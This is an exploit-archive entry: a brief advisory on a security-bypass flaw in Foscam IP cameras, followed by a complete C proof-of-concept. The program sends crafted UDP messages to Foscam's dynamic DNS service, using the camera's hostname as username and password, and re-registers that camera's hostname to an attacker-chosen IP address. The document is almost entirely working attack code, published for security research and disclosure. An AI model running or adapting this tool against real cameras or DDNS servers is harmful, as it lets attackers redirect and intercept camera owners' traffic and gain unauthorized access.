// source: https://www.securityfocus.com/bid/67510/info
Foscam IP Camera is prone to a security-bypass vulnerability.
An attacker can exploit this issue to gain access to sensitive information and perform certain unauthorized actions; this may lead to further attacks.
Foscam IP Camera 11.37.2.49 and prior versions are vulnerable.
/*
* Copyright 2013 Artem Harutyunyan, Sergey Shekyan
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
#include <string.h>
#include <getopt.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/errno.h>
#include <arpa/inet.h>
#include <netdb.h>
#include "camtool.h"
#define IP_BUF_LEN 16
#define RESP_BUF_LEN 1024
#define PORT_BUF_LEN 6
#define UNAME_LEN 6
#define DELIM 0x1
#define REQ_POS_PID 1
#define REQ_POS_UNAME 2
#define REQ_POS_PWD 3
#define REQ_POS_OEM 4
#define REQ_POS_DOMAIN_COUNT 5
#define REQ_POS_DOMAIN_0 6
#define RES_POS_PID 1
#define RES_POS_ERROR 2
#define RES_POS_MSG 3
#define RES_POS_DOMAIN_COUNT 4
#define RES_POS_DOMAIN_0 5
#define RES_ENT_SRV_COUNT 6
#define RES_ENT_SRV_0 7
#define RES_ENT_SRV_MPORT_0 8
#define RES_ENT_SRV_APORT_0 9
#define KEY_PID "PID"
#define KEY_UNAME "UName"
#define KEY_PWD "PWD"
#define KEY_OEM "OEM"
#define KEY_DOMAIN_COUNT "DomainCount"
#define KEY_DOMAIN_0 "Domain0"
#define KEY_ENT_SRV_0 "EntServer0"
#define KEY_ENT_SRV_MPORT_0 "EntServerMPort0"
static char initial_payload[] = {
0x01, 0x50, 0x49, 0x44, 0x3d, 0x31, 0x34, 0x01, 0x55, 0x4e, 0x61, 0x6d,
0x65, 0x3d, 0x63, 0x68, 0x31, 0x32, 0x36, 0x36, 0x01, 0x50, 0x57, 0x44,
0x3d, 0x63, 0x68, 0x31, 0x32, 0x36, 0x36, 0x01, 0x4f, 0x45, 0x4d, 0x3d,
0x72, 0x65, 0x65, 0x63, 0x61, 0x6d, 0x01, 0x44, 0x6f, 0x6d, 0x61, 0x69,
0x6e, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x3d, 0x31, 0x01, 0x44, 0x6f, 0x6d,
0x61, 0x69, 0x6e, 0x30, 0x3d, 0x63, 0x68, 0x31, 0x32, 0x36, 0x36, 0x2e,
0x6d, 0x79, 0x66, 0x6f, 0x73, 0x63, 0x61, 0x6d, 0x2e, 0x6f, 0x72, 0x67,
0x01, 0x00
};
static const unsigned int n_initial_payload = 85;
static char redirect_payload[] = {
0x01, 0x50, 0x49, 0x44, 0x3d, 0x31, 0x30, 0x01, 0x55, 0x4e, 0x61, 0x6d,
0x65, 0x3d, 0x63, 0x68, 0x31, 0x32, 0x36, 0x36, 0x01, 0x50, 0x57, 0x44,
0x3d, 0x63, 0x68, 0x31, 0x32, 0x36, 0x36, 0x01, 0x4f, 0x45, 0x4d, 0x3d,
0x72, 0x65, 0x65, 0x63, 0x61, 0x6d, 0x01, 0x4f, 0x53, 0x3d, 0x4c, 0x69,
0x6e, 0x75, 0x78, 0x01, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x4e, 0x4f, 0x3d,
0x31, 0x33, 0x38, 0x30, 0x01, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x30,
0x3d, 0x63, 0x68, 0x31, 0x32, 0x36, 0x36, 0x2e, 0x6d, 0x79, 0x66, 0x6f,
0x73, 0x63, 0x61, 0x6d, 0x2e, 0x6f, 0x72, 0x67, 0x01, 0x0
};
static const unsigned int n_redirect_payload = 93;
static int
payload_get_offset_by_name(const char* name, const char buf[0], const unsigned int n_buf)
{
const unsigned int n_name = strlen(name);
unsigned int i_name = 0;
unsigned int i = 0;
while (i < n_buf) {
while (name[i_name] == buf[i + i_name] && ((i + i_name) < n_buf) && (i_name < n_name))
++i_name;
if (i_name == n_name)
return i;
else
i_name = 0;
++i;
}
return -1;
}
static int
payload_insert_host(const char* host, const char* buf, const unsigned int n_buf)
{
unsigned int i = 0;
unsigned int n_host = strlen(host);
int offset = 0;
// Make sure that hostname is exactly UNAME_LEN
while (i < n_host && (buf[++i] != DELIM)) {}
if (i != (UNAME_LEN + 1)) return -1;
// Insert hostname to payload
if ((offset = payload_get_offset_by_name(KEY_UNAME, buf, n_buf)) == -1) return 1;
memmove((void*) &buf[offset + strlen(KEY_UNAME) + 1], (const void*) host, UNAME_LEN);
// Insert pwd to payload
if ((offset = payload_get_offset_by_name(KEY_PWD, buf, n_buf)) == -1) return 1;
memmove((void*) &buf[offset + strlen(KEY_PWD) + 1], (const void*) host, UNAME_LEN);
// Insert domain to payload
if ((offset = payload_get_offset_by_name(KEY_DOMAIN_0, buf, n_buf)) == -1 || (offset + n_host) >= n_buf) return 1;
memmove((void*) &buf[offset + strlen(KEY_DOMAIN_0) + 1], (const void*) host, n_host);
return 0;
}
static int
payload_extract_ent_srv_0(const char** ip, unsigned int* n_ip, const char* payload, const unsigned int n_payload)
{
unsigned int offset = payload_get_offset_by_name(KEY_ENT_SRV_0, payload, n_payload);
const unsigned int n_key_ent_srv = strlen(KEY_ENT_SRV_0);
if (memcmp(&payload[offset], KEY_ENT_SRV_0, n_key_ent_srv) != 0)
return 1;
offset += (n_key_ent_srv + 1); // +1 for '='
unsigned int ip_offset = offset;
while (offset < n_payload && payload[offset] != DELIM)
++offset;
if (offset == n_payload)
return 1;
*ip = &payload[ip_offset];
*n_ip = offset - ip_offset;
return 0;
}
static int
payload_extract_ent_srv_port(const char** port_fwd, unsigned int* n_port_fwd, const char* payload, const unsigned int
n_payload)
{
unsigned int offset = payload_get_offset_by_name(KEY_ENT_SRV_MPORT_0, payload, n_payload);
const unsigned int n_key_ent_srv_mport = strlen(KEY_ENT_SRV_MPORT_0);
if (memcmp(&payload[offset], KEY_ENT_SRV_MPORT_0, n_key_ent_srv_mport) != 0)
return 1;
offset += (n_key_ent_srv_mport + 1); // +1 for '='
unsigned int mport_offset = offset;
while (offset < n_payload && payload[offset] != DELIM)
++offset;
if (offset == n_payload)
return 1;
*port_fwd = &payload[mport_offset];
*n_port_fwd = offset - mport_offset;
return 0;
}
static int
send_udp_payload (const char* payload, const unsigned int n_payload, const char* host, const unsigned short port,
int* sockfd, struct addrinfo** r)
{
/* Create socket and get the data from DDNS server */
struct addrinfo hints = {0};
struct addrinfo* res = *r;
int ret = 0;
int nbytes = 0;
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_DGRAM;
if ((ret = getaddrinfo(host, NULL, &hints, &res)) != 0) {
fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(ret));
return 1;
}
if ((*sockfd = socket(res->ai_family, res->ai_socktype, res->ai_protocol)) == -1) {
fprintf(stderr, "socket() failed: %s\n", strerror(errno));
return 1;
}
struct sockaddr_in *ipv4 = (struct sockaddr_in*) res->ai_addr;
ipv4->sin_port = htons(port);
/* Send the request */
if ((nbytes = sendto(*sockfd, payload, n_payload, 0, res->ai_addr, sizeof *(res->ai_addr))) != n_payload) {
fprintf(stderr, "sendto() failed: %s\n", strerror(errno));
return 1;
}
*r = res;
return 0;
}
static void
usage()
{
fprintf(stdout,
"Tool for packing WebUI firmware.\n"
"Usage: uipack -d <dir> -o <output file>\n"
"\t-s DDNS server name\n"
"\t-a camera hostname\n"
"\t-i IP address to register\n"
"\t-h print this message\n");
}
int
main( int argc, char** argv)
{
if (argc < 4) {
usage();
return 1;
}
char ddns[MAX_HOSTNAME_LEN] = {0};
char camera_name[MAX_HOSTNAME_LEN] = {0};
char ip[IP_BUF_LEN] = {0};
char o = 0;
while ((o = getopt(argc, argv, ":s:a:i:h")) != -1) {
switch(o) {
case 's':
if (strlen(optarg) > MAX_HOSTNAME_LEN - 1) {
fprintf(stderr, "%s can not be longer than %d\n", optarg, MAX_HOSTNAME_LEN - 1);
return 1;
}
strncpy(ddns, optarg, MAX_HOSTNAME_LEN);
break;
case 'a':
if (strlen(optarg) > MAX_HOSTNAME_LEN - 1) {
fprintf(stderr, "%s can not be longer than %d\n", optarg, MAX_HOSTNAME_LEN - 1);
return 1;
}
strncpy(camera_name, optarg, MAX_HOSTNAME_LEN);
break;
case 'i':
if (strlen(optarg) > IP_BUF_LEN - 1) {
fprintf(stderr, "%s can not be longer than %d\n", optarg, IP_BUF_LEN - 1);
return 1;
}
strncpy(ip, optarg, IP_BUF_LEN);
break;
case 'h':
usage();
return 0;
case '?':
fprintf(stderr, "Illegal option -%c\n", optopt);
usage();
return 1;
defalt:
fprintf(stderr, "Option -%c requires an argument.\n", optopt);
usage();
return 1;
}
}
if (strlen(ddns) == 0|| strlen(camera_name) == 0 || strlen(ip) == 0) {
usage();
return 1;
}
/* Insert hostname into payload */
if (payload_insert_host(camera_name, initial_payload, n_initial_payload) != 0) {
fprintf(stderr, "Could not insert hostname into the payload");
return 1;
}
/* Send payload to DDNS */
int sockfd = 0;
struct addrinfo* res = NULL;
if (send_udp_payload (initial_payload, n_initial_payload, ddns, 8080, &sockfd, &res) != 0) {
fprintf(stderr, "Could not send UDP payload to %s", ddns);
return 1;
}
/* Get the response */
char resp[RESP_BUF_LEN] = {0};
int n_resp;
unsigned int fromlen = sizeof *(res->ai_addr);
if ((n_resp = recvfrom(sockfd, resp, RESP_BUF_LEN, 0, res->ai_addr, &fromlen)) == -1) {
fprintf(stderr, "recvfrom() failed: %s\n", strerror(errno));
return 1;
}
fprintf(stderr, "Got %d bytes\n", n_resp);
freeaddrinfo(res);
/* Make sure it's a redirect */
/* Extract the server name */
const char* ip_fwd = NULL;
unsigned int n_ip_fwd = 0;;
char str_ip_fwd[IP_BUF_LEN] = {0};
if (payload_extract_ent_srv_0(&ip_fwd, &n_ip_fwd, resp, n_resp) != 0) {
fprintf(stderr, "Could not extract IP server from the response\n");
return 1;
}
memmove(str_ip_fwd, ip_fwd, n_ip_fwd);
fprintf(stderr, "IP of the redirect server is: %s\n", str_ip_fwd);
/* Extract port */
const char* port_fwd = 0;
unsigned int n_port_fwd = 0;
char str_port_fwd[PORT_BUF_LEN] = {0};
if (payload_extract_ent_srv_port(&port_fwd, &n_port_fwd, resp, n_resp) != 0) {
fprintf(stderr, "Could not extract port from the response\n");
return 1;
}
memmove(str_port_fwd, port_fwd, n_port_fwd);
fprintf(stderr, "Port of the redirect server is: %s\n", str_port_fwd);
/* Update redirect payload and send to DDNS */
if (payload_insert_host(camera_name, redirect_payload, n_redirect_payload) != 0) {
fprintf(stderr, "Could not insert hostname into the redirect payload");
return 1;
}
sockfd = 0;
res = NULL;
if (send_udp_payload(redirect_payload, n_redirect_payload, str_ip_fwd, atoi(str_port_fwd), &sockfd, &res) != 0) {
fprintf(stderr, "Could not send UDP payload to %s", str_ip_fwd);
return 1;
}
return 0;
}